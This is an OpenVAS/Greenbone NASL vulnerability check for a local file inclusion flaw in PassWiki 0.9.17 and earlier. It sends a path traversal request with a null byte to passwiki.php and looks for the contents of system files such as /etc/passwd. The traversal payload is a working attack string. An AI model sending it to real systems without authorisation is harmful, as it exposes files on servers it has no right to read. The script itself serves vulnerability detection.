PassWiki <= 0.9.17 LFI Vulnerability - Active Check

# SPDX-FileCopyrightText: 2009 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.100047");
  script_version("2025-04-15T05:54:49+0000");
  script_tag(name:"last_modification", value:"2025-04-15 05:54:49 +0000 (Tue, 15 Apr 2025)");
  script_tag(name:"creation_date", value:"2009-03-16 12:53:50 +0100 (Mon, 16 Mar 2009)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");

  script_cve_id("CVE-2008-6423");

  script_tag(name:"qod_type", value:"remote_active");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("PassWiki <= 0.9.17 LFI Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2009 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "os_detection.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"PassWiki is prone to a local file include (LFI) vulnerability
  because it fails to properly sanitize user-supplied input.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"impact", value:"Exploiting this issue allows remote attackers to view local files
  within the context of the webserver process.");

  script_tag(name:"affected", value:"PassWiki version 0.9.17 and prior.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General solution
  options are to upgrade to a newer release, disable respective features, remove the product or
  replace the product by another one.");

  script_xref(name:"URL", value:"https://web.archive.org/web/20210214212159/https://www.securityfocus.com/bid/29455/");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("list_array_func.inc");
include("misc_func.inc");
include("traversal_func.inc");
include("os_func.inc");
include("port_service_func.inc");

port = http_get_port(default: 80);

if (!http_can_host_php(port: port))
  exit(0);

files = traversal_files();

foreach dir (make_list_unique("/passwiki", http_cgi_dirs(port: port))) {
  if (dir == "/")
    dir = "";

  res = http_get_cache(port: port, item: dir + "/passwiki.php");
  if (!res || res !~ "^HTTP/1\.[01] 200")
    continue;

  foreach pattern (keys(files)) {
    file = files[pattern];

    url = dir + "/passwiki.php?site_id=../../../../../../../../../../../../../" + file + "%00";

    req = http_get(port: port, item: url);
    res = http_keepalive_send_recv(port: port, data: req);
    if (!res)
      continue;

    if (egrep(pattern: pattern, string: res) ||
        egrep(pattern: "Warning.*:+.*include\(.*/" + file + "\).*failed to open stream", string: res) # /etc/passwd not found or not allowed to access. Windows or SAFE MODE Restriction.
    ) {
      report = http_report_vuln_url(port: port, url: url);
      security_message(port: port, data: report);
      exit(0);
    }
  }
}

exit(99);